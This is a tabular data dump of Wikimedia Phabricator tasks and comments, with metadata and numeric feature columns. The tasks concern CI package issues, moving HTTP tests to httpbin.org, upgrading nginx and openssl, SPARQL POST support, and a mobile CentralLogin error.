",,,1417647603,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-elgzefmvhzif5z5gjrg2,task_subcomment,,True,c3,1,False,,,-31,True,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,4.0,16.0,4.0,3.0,12.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,7.0,12.0,1.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,3.493150684931507,0.6712328767123288,"SCREEN_NAME: nope, see the recheck on patch 11 on GERRIT_URL -- it works when the job was CODE (the original state, and PS4) but fails when the job is CODE (PS3 of GERRIT_URL).  When the job was CODE (PS2) the job hung in the CODE state forever in zuul -- so I guess there's no machine matching that descriptor?

"
336059,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"The Jenkins slaves have the puppet class `mediawik::packages` applied and that provides ddjvu.

I confirmed on both Precise and Trusty slaves that:

* `ddjvu` is present.
* `pnmtojpeg` is not

So it is unlikely it ever worked!


In `tests/testHelpers.inc` there is a DjVuSupport class which is meant to detect whether all the $wgDjvu* settings are properly set.  The class is used when flagging a parser test .txt test with the option 'djvu', which would skip the parser test whenever the installation lacks support ( see tests/parser/parserTest.inc and grep djVuSupport).


So my assumption is that whatever change triggered the build is also introducing a parser tests that require djvu but lacks the 'djvu' option.  The job should fail on Precise slave as well.

Triggering the job against a dummy commit on a Trusty instance should pass.",,,1417645104,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-elgzefmvhzif5z5gjrg2,task_subcomment,,True,c3,1,True,,,-31,True,0.5,0.0,0.0,1.5,0.5,2.0,1.5,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.5,1.0,1.0,5.5,5.5,0.0,0.5,1.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.5,0.0,7.5,1.0,1.0,0.5,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.5,0.0,17.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,1.0,0.0,9.0,4.5,9.5,2.5,2.5,11.0,0.0,0.0,0.5,0.0,3.5,0.0,0.5,0.0,2.0,5.5,5.0,0.0,2.5,0.0,2.0,0.0,4.0,3.0,0.0,1.5,0.0,0.0,0.0,4.055906553041434,0.6969585659712019,"The Jenkins slaves have the puppet class CODE applied and that provides ddjvu.

I confirmed on both Precise and Trusty slaves that:

* CODE is present.
* CODE is not

So it is unlikely it ever worked!


In CODE there is a DjVuSupport class which is meant to detect whether all the $wgDjvu* settings are properly set.  The class is used when flagging a parser test .txt test with the option 'djvu', which would skip the parser test whenever the installation lacks support ( see tests/parser/parserTest.inc and grep djVuSupport).


So my assumption is that whatever change triggered the build is also introducing a parser tests that require djvu but lacks the 'djvu' option.  The job should fail on Precise slave as well.

Triggering the job against a dummy commit on a Trusty instance should pass."
76626,HTTPS-to-HTTP downgrade option interstitial,,Medium,50.0,1417632210,1423681115.0,PHID-USER-srhlj2447vmpmrfhqnfa,False,PHID-USER-srhlj2447vmpmrfhqnfa,False,PHID-TASK-p3waplblcy3uungfizrr,task_description,resolved,True,c3,1,True,True,True,-31,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
114405,SPARQL endpoint should also support HTTP POST,SPARQL queries tend to get very long so support of HTTP POST would be nice to avoid bloating logfiles.,Low,25.0,1443727476,1443729050.0,PHID-USER-epdfp2z3jry7mc62cskd,False,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-tgup4ihpuskm3cdwboqg,task_description,duplicate,True,c3,3,False,False,True,13,True,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.2,0.95,SPARQL queries tend to get very long so support of HTTP POST would be nice to avoid bloating logfiles.
97242,use httpbin.org,"The http tests use getstatuscode.com , and a few other sites to produce known http responses.  Using http://httpbin.org/ would be better.",Low,25.0,1430036672,1433254873.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-pdlnbp2w5h2rej2hikwj,False,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_description,resolved,True,c3,1,True,False,True,-10,True,4.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,4.208333333333333,0.9166666666666666,"The http tests use getstatuscode.com , and a few other sites to produce known http responses.  Using URL would be better."
467460,use httpbin.org,@Akshitk congrats on your first bug!,,,1433254873,,PHID-USER-pdlnbp2w5h2rej2hikwj,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.857142857142857,1.0,SCREEN_NAME congrats on your first bug!
467411,use httpbin.org,"Change 215248 merged by jenkins-bot:
Use httpbin.org for http status code.

[[https://gerrit.wikimedia.org/r/215248]]",,,1433250311,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.6818181818181817,0.9090909090909091,"Change 215248 merged by jenkins-bot:
Use httpbin.org for http status code.

[[GERRIT_URL]]"
467384,use httpbin.org,"Change 215264 abandoned by AkshitKumar:
Bug Fix - Change the host site for http status codes

Reason:
Duplicate

[[https://gerrit.wikimedia.org/r/215264]]",,,1433247082,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,28.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.896551724137931,0.7931034482758621,"Change 215264 abandoned by AkshitKumar:
Bug Fix - Change the host site for http status codes

Reason:
Duplicate

[[GERRIT_URL]]"
467383,use httpbin.org,"Change 215248 restored by AkshitKumar:
Use httpbin.org for http status codes

Reason:
Abandoned by mistake

[[https://gerrit.wikimedia.org/r/215248]]",,,1433246986,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.269230769230769,0.7692307692307693,"Change 215248 restored by AkshitKumar:
Use httpbin.org for http status codes

Reason:
Abandoned by mistake

[[GERRIT_URL]]"
467180,use httpbin.org,"Change 215261 abandoned by AkshitKumar:
Bug Fix - Change the host site for http status codes

Reason:
Duplicate

[[https://gerrit.wikimedia.org/r/215261]]",,,1433207602,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,28.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.896551724137931,0.7931034482758621,"Change 215261 abandoned by AkshitKumar:
Bug Fix - Change the host site for http status codes

Reason:
Duplicate

[[GERRIT_URL]]"
467179,use httpbin.org,"Change 215248 abandoned by AkshitKumar:
Use httpbin.org for http status codes

Reason:
Duplicate

[[https://gerrit.wikimedia.org/r/215248]]",,,1433207572,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.291666666666667,0.7916666666666666,"Change 215248 abandoned by AkshitKumar:
Use httpbin.org for http status codes

Reason:
Duplicate

[[GERRIT_URL]]"
467178,use httpbin.org,"Change 215264 had a related patch set uploaded (by AkshitKumar):
Bug Fix - Change the host site for http status codes

[[https://gerrit.wikimedia.org/r/215264]]
",,,1433207041,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7096774193548385,0.8709677419354839,"Change 215264 had a related patch set uploaded (by AkshitKumar):
Bug Fix - Change the host site for http status codes

[[GERRIT_URL]]
"
467175,use httpbin.org,"Change 215261 had a related patch set uploaded (by AkshitKumar):
Bug Fix - Change the host site for http status codes

[[https://gerrit.wikimedia.org/r/215261]]
",,,1433206895,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7096774193548385,0.8709677419354839,"Change 215261 had a related patch set uploaded (by AkshitKumar):
Bug Fix - Change the host site for http status codes

[[GERRIT_URL]]
"
467140,use httpbin.org,Hmm @jayvdb already changed the commit message and here it is ;),,,1433205220,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.181818181818182,1.0,HmmSCREEN_NAME already changed the commit message and here it is ;)
467139,use httpbin.org,"As I've commented in PS2, that shouldn't matter. As long as the bug number is not separated by a new line from the change id.",,,1433205172,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,7.0,0.0,13.0,17.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,13.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,17.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.3666666666666667,0.9333333333333333,"As I've commented in PS2, that shouldn't matter. As long as the bug number is not separated by a new line from the change id."
467138,use httpbin.org,"Change 215248 had a related patch set uploaded (by John Vandenberg):
Use httpbin.org for http status codes

[[https://gerrit.wikimedia.org/r/215248]]
",,,1433205127,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,15.0,4.0,0.8888888888888888,"Change 215248 had a related patch set uploaded (by John Vandenberg):
Use httpbin.org for http status codes

[[GERRIT_URL]]
"
467133,use httpbin.org,"Bug number properly added at patch set 2, so gerrit bot didn't post the link to the patch:
https://gerrit.wikimedia.org/r/#/c/215248",,,1433204497,,PHID-USER-pdlnbp2w5h2rej2hikwj,False,,,PHID-TASK-zdlfc65n72j5wyo6dlwk,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.347826086956522,0.9130434782608695,"Bug number properly added at patch set 2, so gerrit bot didn't post the link to the patch:
URL"
96850,Test then switch to openssl 1.0.2 + nginx 1.9.2,"Neither of these are currently in jessie's stable package set.  However, both are desirable sometime this year, enough that we will probably bite the bullet on using a backports package and/or rolling our own that we have to maintain security on.

The driver for openssl 1.0.2 is ALPN support (which isn't important until we get HTTP/2)
The drivers for nginx 1.9.2:
* lots of non-sec bugfixes for ""newer"" features that we are using are simply not backported to 1.6.x (several already for SPDY, OCSP Stapling, etc)
* general background on nginx mainline-vs-stable: http://nginx.com/blog/nginx-1-6-1-7-released/
* SO_REUSEPORT support

This will all be interrelated with HTTP/2 support as well, but that may not land in nginx until some later version.

Note that for ALPN, the updated nginx package has to have been compiled against headers from the updated openssl package.",Low,25.0,1429710765,1435520265.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-zz33sqnmec4hnegk6opq,task_description,resolved,True,c3,1,True,True,True,-11,True,2.0,0.0,0.0,2.0,1.5,8.5,1.5,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,2.5,0.0,6.5,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,5.0,0.5,0.0,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.5,1.0,0.0,0.5,0.5,0.0,0.5,14.0,1.5,1.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,3.0,4.5,8.5,1.5,1.0,8.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,2.5,13.0,4.0,0.0,1.0,0.0,2.5,0.0,1.0,0.5,0.0,1.5,0.5,0.0,0.5,4.099726402188782,0.7951436388508892,"Neither of these are currently in jessie's stable package set.  However, both are desirable sometime this year, enough that we will probably bite the bullet on using a backports package and/or rolling our own that we have to maintain security on.

The driver for openssl 1.0.2 is ALPN support (which isn't important until we get HTTP/2)
The drivers for nginx 1.9.2:
* lots of non-sec bugfixes for ""newer"" features that we are using are simply not backported to 1.6.x (several already for SPDY, OCSP Stapling, etc)
* general background on nginx mainline-vs-stable: URL
* SO_REUSEPORT support

This will all be interrelated with HTTP/2 support as well, but that may not land in nginx until some later version.

Note that for ALPN, the updated nginx package has to have been compiled against headers from the updated openssl package."
483221,Test then switch to openssl 1.0.2 + nginx 1.9.2,"We've already switched to nginx 1.9.2 w/ SO_REUSEPORT enabled.  We're still using debian's openssl 1.0.1 with it for now, but we'll address openssl upgrades separately as part of the ECDSA and/or HTTP/2 tickets linked as blockers here.",,,1435520265,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-zz33sqnmec4hnegk6opq,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,7.0,0.0,11.0,13.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,9.0,13.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.4222222222222225,0.9111111111111111,"We've already switched to nginx 1.9.2 w/ SO_REUSEPORT enabled.  We're still using debian's openssl 1.0.1 with it for now, but we'll address openssl upgrades separately as part of the ECDSA and/or HTTP/2 tickets linked as blockers here."
478949,Test then switch to openssl 1.0.2 + nginx 1.9.2,nginx 1.9.2 is now in Debian unstable,,,1434969851,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-zz33sqnmec4hnegk6opq,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,1.0,nginx 1.9.2 is now in Debian unstable
469565,Test then switch to openssl 1.0.2 + nginx 1.9.2,"@faidon just pointed out the [[ http://nginx.com/blog/socket-sharding-nginx-release-1-9-1/ |  1.9.1 release has added `SO_REUSEPORT` ]], which would be a really huge win at our traffic scale.  That's a big reason to lump onto the others at the top here to update to our own, newer package.  The general idea of rolling our own (of any version) would also let us [[ https://phabricator.wikimedia.org/T86654 | do a multicert patch for deploying ECDSA certs ]], which recently became possible with our cert provider...",,,1433466778,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-zz33sqnmec4hnegk6opq,task_subcomment,,True,c3,1,True,,,-4,True,1.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,7.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,6.0,12.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,3.0,1.0,2.0,1.0,0.0,2.0,3.568421052631579,0.7157894736842105,"SCREEN_NAME just pointed out the [[ URL |  1.9.1 release has added CODE ]], which would be a really huge win at our traffic scale.  That's a big reason to lump onto the others at the top here to update to our own, newer package.  The general idea of rolling our own (of any version) would also let us [[ URL | do a multicert patch for deploying ECDSA certs ]], which recently became possible with our cert provider..."
448217,Test then switch to openssl 1.0.2 + nginx 1.9.2,Waiting for the (relatively-imminent) official Jessie release before making any further decisions here...,,,1429797172,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-zz33sqnmec4hnegk6opq,task_subcomment,,True,c3,1,True,,,-10,True,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.166666666666667,1.0,Waiting for the (relatively-imminent) official Jessie release before making any further decisions here...
95221,"Using the MediaWiki login to Phabricator on mobile, got a ""No active login attempt is in progress for your session."" error on CentralLogin","On my 2013 Moto X running Android 4.4 and Chrome, I tried to log in to Phabricator, I think for the first time. On phabricator.wikimedia.org I clicked the [Login or Register MediaWiki] button, and after 8 attempts at the mediawiki.org Special:Login page (typnig on phone keygoard is hard) I  successfully logged into mediawiki.org as ""SPage (WMF)"". 
Upon doing so, the page
https://m.mediawiki.org/wiki/Special:CentralLogin/complete?token=a1cblahblah appeared displaying a confusing pink error message

**Central user log in**
No active login attempt is in progress for your session.

I don't know what this means. It's not helpful and I have no idea what to do next.
